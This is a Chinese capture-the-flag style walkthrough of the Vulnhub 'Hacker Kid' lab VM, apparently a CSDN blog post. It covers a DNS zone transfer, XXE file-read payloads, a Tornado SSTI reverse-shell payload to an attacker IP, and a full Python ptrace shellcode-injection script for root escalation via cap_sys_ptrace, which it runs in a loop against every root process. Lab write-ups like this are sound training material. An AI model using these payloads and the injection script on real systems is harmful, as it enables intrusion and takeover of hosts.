• Vulnhub靶机:HACKER KID_ 1.0.1


    介绍

    系列Hacker kid(此系列共1台)
    发布日期:2021年08月02日
    **难度等级:**低→中
    **打靶目标:**取得 root 权限
    **提示信息:**OSCP 样式的靶机(专注于信息收集,不要爆破,每一步都有适当提示)
    靶机地址:https://www.vulnhub.com/entry/hacker-kid-101,719/
    涉及攻击方法:

    • 主机发现
    • 端口扫描
    • WEB信息收集
    • DNS区域传输
    • XXE注入攻击
    • PHP封装器
    • SSTI模板注入
    • Capabilitie提权

    信息收集

    主机发现

    netdiscover主机发现
    对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。

    sudo netdiscover -i eth0 -r 192.168.56.0/24
    
    • 1

    在这里插入图片描述

    主机信息探测

    nmap -p- 192.168.56.107
    nmap -p53,80,9999 192.168.56.107 -sV
    
    • 1
    • 2

    在这里插入图片描述

    53 端口

    靶机开放tcp型的53端口。通常来说tcp的53端口的功能:为同一个域的两台域名服务器之间做数据同步,数据交换。日常上网解析域名使用udp的53,通常tcp和udp的53端口是同时开放的。

    确认udp的53端口确实是开放的,这就意味着,这个靶机是一台DNS服务器。
    在这里插入图片描述

    根据DNS服务器的版本,上网去漏洞库检索了一下。首先倍感遗憾的是奇安信漏洞情报平台不再对外开放高级搜索功能了,需要通过邀请码注册账户才可以使用高级搜索。而搜索结果又太多,只能切换别的平台去检索漏洞了。
    在这里插入图片描述

    经过一番搜索,情况有一点点尴尬。据我所知,目前所有的漏洞库都不支持基于产品的版本去搜索,因此,我的思路一般是先搜索产品的相关漏洞,然后过滤出存在poc或exp的漏洞信息,进而找出能攻击这个产品版本的漏洞,但是对比了一下这三家的漏洞库体验,我还是直接上网搜索吧。最终确认没有关于这个产品版本的利用信息。
    在这里插入图片描述

    在这里插入图片描述

    网站探测

    打开80端口,只看到这样一个东西
    在这里插入图片描述

    翻译一下如下图
    在这里插入图片描述

    最下面一行,提到了“DIG”,这是一个kali自带的DNS信息收集工具,不妨把这个当作提示信息,尝试一下。在此之前,先看一下网站上方的3个链接是什么东东。

    1. 点击“Start”链接,进入如下页面

    在这里插入图片描述

    如果手动修改为php测试一下,会发现页面可以解析出来了,这说明服务器使用了PHP的开发环境。
    在这里插入图片描述

    1. 点击“App”链接,如下图

    在这里插入图片描述

    看到了url中存在#,试着删除掉#及它前面的内容呢?在页面上怎么点击都没反应
    在这里插入图片描述

    1. 点击“Form example”链接,进入如下页面,经过简单的测试,啥都没有

    在这里插入图片描述

    页面源代码

    上文对页面的超链接进行一番检查,没有发现有价值的信息,只能把目光落回在“DIG”上面,但是“DIG”一个目标的话,是需要有目标的域名的,如何找域名呢?常规的操作是去检查页面源代码,我这里经过检查,发现了一段注释信息,提示我们可以用“page_no”参数以“GET”方法去访问这个网站,根据参数名字判断参数值应该是个数字(代表页数)
    在这里插入图片描述

    随便测试个数字,页面可以显示,但是没有更多信息,有可能是页码不对,直接爆破一下。
    在这里插入图片描述

    发现页码是21的时候,有效果
    在这里插入图片描述

    这里提示了一个子域名,额,这个就是常规操作了,修改hosts

    在这里插入图片描述

    DIG信息收集

    1. 修改hosts文件

    在这里插入图片描述

    1. 使用域名访问站点,没有什么不一样的信息,接下来就是“DIG”信息收集了

    这里要用到dig的axfr命令,axfr的具体含义简单来说就是使用dig命令向服务器发送一个axfr的请求,如果服务器支持axfr,那么就会把请求的域对应的所有的dns记录都返回给请求者。

    dig axfr @192.168.56.107 blackhat.local
    
    • 1

    在这里插入图片描述

    补充:axfr的安全问题
    从安全配置的角度出发,服务器是不应当响应每个人的axfr请求的,它应该是只在同一域中主、备服务器之间使用的请求,通常用于实现主、备dns服务器间同步dns记录的作用。这里dns服务器响应了我们的axfr请求,其实是说明了该dns服务器存在配置不当的漏洞所造成的(因为它不该把自己的所有记录展示给任何人)。

    1. 既然又发现了新的域名,就继续修改hosts文件
    192.168.56.107	hackerkid.blackhat.local
    192.168.56.107	mail.blackhat.local
    192.168.56.107	hacker.blackhat.local.blackhat.local
    192.168.56.107	www.blackhat.local
    
    • 1
    • 2
    • 3
    • 4

    经过逐个测试,发现 http://hackerkid.blackhat.local/ 有点搞头,其他页面输入9999端口后都是一个可爆破的登录框,由于不知道账号密码,因此爆破量很大,考虑到作者交代了不要爆破,这里还是看看下图的这个页面吧
    在这里插入图片描述

    经典XXE漏洞

    1. 首先发现这样一个问题,无论第三个框框填写什么内容,都会有一个回显信息

    在这里插入图片描述

    1. 查看数据包的时候,发现信息是以XML格式传输的

    在这里插入图片描述

    如果一个网站使用了XML来传输数据,并且某一个变量、某一个字段中提交的内容会原封不动的返回到当前页面,那么就需要检测XXE漏洞! 【区分XXE和XSS:XXE的攻击对象是服务器,XSS的攻击对象是客户端】

    1. 检测XXE漏洞

    使用如下经典命令来检测XXE漏洞,发现靶机确实存在此漏洞,然后还发先了一个用户:saket

    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    
    • 1

    在这里插入图片描述

    1. 敏感信息收集

    我这里是计划借助XXE漏洞先检查一下 saket 用户的家目录里面都是有什么东西,那么上哪找合适的字典呢?首先我知道一个用户的家目录里面应该是有.bashrc,将其作为关键字检索我电脑上的所有字典文件,发现了一些合适的字典,那么我这里选择“SecLists-2022.2\Discovery\Web-Content\common.txt”
    在这里插入图片描述

    在XXS攻防中(语雀地址CSDN地址)提到过,借助XXE漏洞读取文件经常会碰到读取失败的情况,一般是通过编码绕过的,这里先尝试编码绕过

    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
    
    • 1

    在这里插入图片描述

    命令没问题,发送到爆破模块开始爆破(虽然靶机作者不建议爆破,但是这种有针对性的爆破,还是可以的)
    在这里插入图片描述

    在这里插入图片描述

    比较尴尬的是只发现了两个常规文件,但是在常规文件.bashrc中发现了敏感信息
    在这里插入图片描述

    探测9999端口

    拿到账号密码去登录,直接失败(账号:admin,密码:Saket!#$%@!!
    在这里插入图片描述

    密码不应该是错误的,用户名呢?上文根据/etc/passwd得知靶机除了root用户还有saket用户(再者,密码也是以saket打头的),试了下,进来了。根据页面显示信息,这里应该是隐藏了参数名和参数值,我可以根据之前的经验(语雀地址CSDN地址)使用bp或者fuff来强制访问,但是既然页面信息提示了“name”,不妨拿“name”作为参数名来试试。
    在这里插入图片描述

    获取到如下信息:
    在这里插入图片描述

    SSTI模板注入

    我们在前面信息搜集的时候就知道了9999端口开放的web服务用的是Tornado,Tornado是一个python语言的web服务框架,python作为后端语言,我能想到的最有可能存在的漏洞也就是SSTI模板注入了,所以我这里随手测一下看是否有SSTI模板注入的漏洞 。

    我这里给出了一个模板注入通用的测试payload:{{1+abcdef}}${1+abcdef}[1+abcdef]
    如果使用该payload后发现页面产生了如下图所示的报错,说明存在模板注入漏洞
    在这里插入图片描述

    如何进一步测试呢?根据报错信息得知它是基于python的,那么可以使用如下测试语句:${7*7},{{7*7}}
    根据测试结果已经可以确认存在“SSTI模板注入”漏洞了,接下来怎么搞呢?

    此链接给出了针对各种开发语言的注入模板: SSTI (Server Side Template Injection) - HackTricks

    在这里插入图片描述

    根据页面返回的信息,提取出有价值的表达式:{{7*7}},发现这个表达式的内容被python解析执行了,并且返回给我们执行结果。那么,如何利用呢?
    在这里插入图片描述

    反弹shell的命令如下:

    {% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.56.101/4444 0>&1"')}}
    
    • 1

    结果反弹shell失败,这个算是模板注入的常见现象了,可以通过对内容进行uri编码绕过
    在这里插入图片描述

    uri编码之后如下:

    %7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%26%3E%20%2Fdev%2Ftcp%2F192.168.56.101%2F4444%200%3E%261%22')%7D%7D
    
    • 1

    在这里插入图片描述

    Capabilities 提权

    尝试了常用的提权方法,全部失败。还是用提权脚本吧
    “PEASS-ng” 是一个在 github 上有着近10K小星星的项目,是一个可以用来在windows、linux、mac上进行提权检查的脚本。项目地址:https://github.com/carlospolop/PEASS-ng

    首先很不幸,“ CVE-2021-4034”提权失败,目光就落在了“Capabilities”上面。
    在这里插入图片描述

    在这里插入图片描述

    Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

    这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

    如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。与之相关的资料参见:https://man7.org/linux/man-pages/man7/capabilities.7.html

    发现具有Capabilities特殊操作权限的程序

    从根目录下递归查询具有Capabilities特殊操作权限的程序

    /usr/sbin/getcap -r / 2>/dev/null
    
    • 1

    在这里插入图片描述

    发现python具备cap_sys_ptrace+ep 权限,所以我们可以对其进行利用然后进行提权。

    准备注入

    这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用python具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口。

    网上找的下载链接都不行,找到了源码,保存在本地后,通过wget上传到了靶机

    # inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
    # GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 
     
    import ctypes
    import sys
    import struct
     
    # Macros defined in 
    # https://code.woboq.org/qt5/include/sys/ptrace.h.html
     
    PTRACE_POKETEXT   = 4
    PTRACE_GETREGS    = 12
    PTRACE_SETREGS    = 13
    PTRACE_ATTACH     = 16
    PTRACE_DETACH     = 17
     
    # Structure defined in 
    # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
     
    class user_regs_struct(ctypes.Structure):
        _fields_ = [
            ("r15", ctypes.c_ulonglong),
            ("r14", ctypes.c_ulonglong),
            ("r13", ctypes.c_ulonglong),
            ("r12", ctypes.c_ulonglong),
            ("rbp", ctypes.c_ulonglong),
            ("rbx", ctypes.c_ulonglong),
            ("r11", ctypes.c_ulonglong),
            ("r10", ctypes.c_ulonglong),
            ("r9", ctypes.c_ulonglong),
            ("r8", ctypes.c_ulonglong),
            ("rax", ctypes.c_ulonglong),
            ("rcx", ctypes.c_ulonglong),
            ("rdx", ctypes.c_ulonglong),
            ("rsi", ctypes.c_ulonglong),
            ("rdi", ctypes.c_ulonglong),
            ("orig_rax", ctypes.c_ulonglong),
            ("rip", ctypes.c_ulonglong),
            ("cs", ctypes.c_ulonglong),
            ("eflags", ctypes.c_ulonglong),
            ("rsp", ctypes.c_ulonglong),
            ("ss", ctypes.c_ulonglong),
            ("fs_base", ctypes.c_ulonglong),
            ("gs_base", ctypes.c_ulonglong),
            ("ds", ctypes.c_ulonglong),
            ("es", ctypes.c_ulonglong),
            ("fs", ctypes.c_ulonglong),
            ("gs", ctypes.c_ulonglong),
        ]
     
    libc = ctypes.CDLL("libc.so.6")
     
    pid=int(sys.argv[1])
     
    # Define argument type and respone type.
    libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
    libc.ptrace.restype = ctypes.c_uint64
     
    # Attach to the process
    libc.ptrace(PTRACE_ATTACH, pid, None, None)
    registers=user_regs_struct()
     
    # Retrieve the value stored in registers
    libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
     
    print("Instruction Pointer: " + hex(registers.rip))
     
    print("Injecting Shellcode at: " + hex(registers.rip))
     
    # Shell code copied from exploit db.
    shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
     
    # Inject the shellcode into the running process byte by byte.
    for i in xrange(0,len(shellcode),4):
     
      # Convert the byte to little endian.
      shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
      shellcode_byte_little_endian=struct.pack(", shellcode_byte_int).rstrip('\x00').encode('hex')
      shellcode_byte=int(shellcode_byte_little_endian,16)
     
      # Inject the byte.
      libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
     
    print("Shellcode Injected!!")
     
    # Modify the instuction pointer
    registers.rip=registers.rip+2
     
    # Set the registers
    libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
     
    print("Final Instruction Pointer: " + hex(registers.rip))
     
    # Detach from the process.
    libc.ptrace(PTRACE_DETACH, pid, None, None)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95

    这个脚本需要注入到root权限的进程才能使用,我是直接过滤出了apahce服务,因为有的进程不一定能够注入成功,而apache服务一般是没问题的。实战中可以通过批量注入。

    ps -aef | grep root   查看root权限进程
    ps -U root						查看root权限进程
     
    python2.7 inject.py xxx   代表root进程
    
    批量注入
    for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    注入成功

    在这里插入图片描述

    总结

    在这里插入图片描述

    参考

    https://blog.csdn.net/wcl20010/article/details/124637008
    https://blog.csdn.net/qq_40646572/article/details/124922278

  • 相关阅读:
    第四章 作业【数据库原理】
    Unity的UI面板基类
    使用Calibre Web打造全功能书库
    排序算法(1)
    7、System类
    java学习笔记第一天
    解决安装apex报错:No module named ‘packaging‘
    Win32 COLORREF、RGB、获取颜色分量
    鸿蒙API9手机号验证
    利用Python进行中文分词——实现中文文本处理的基础工具
  • 原文地址:https://blog.csdn.net/weixin_44288604/article/details/125834630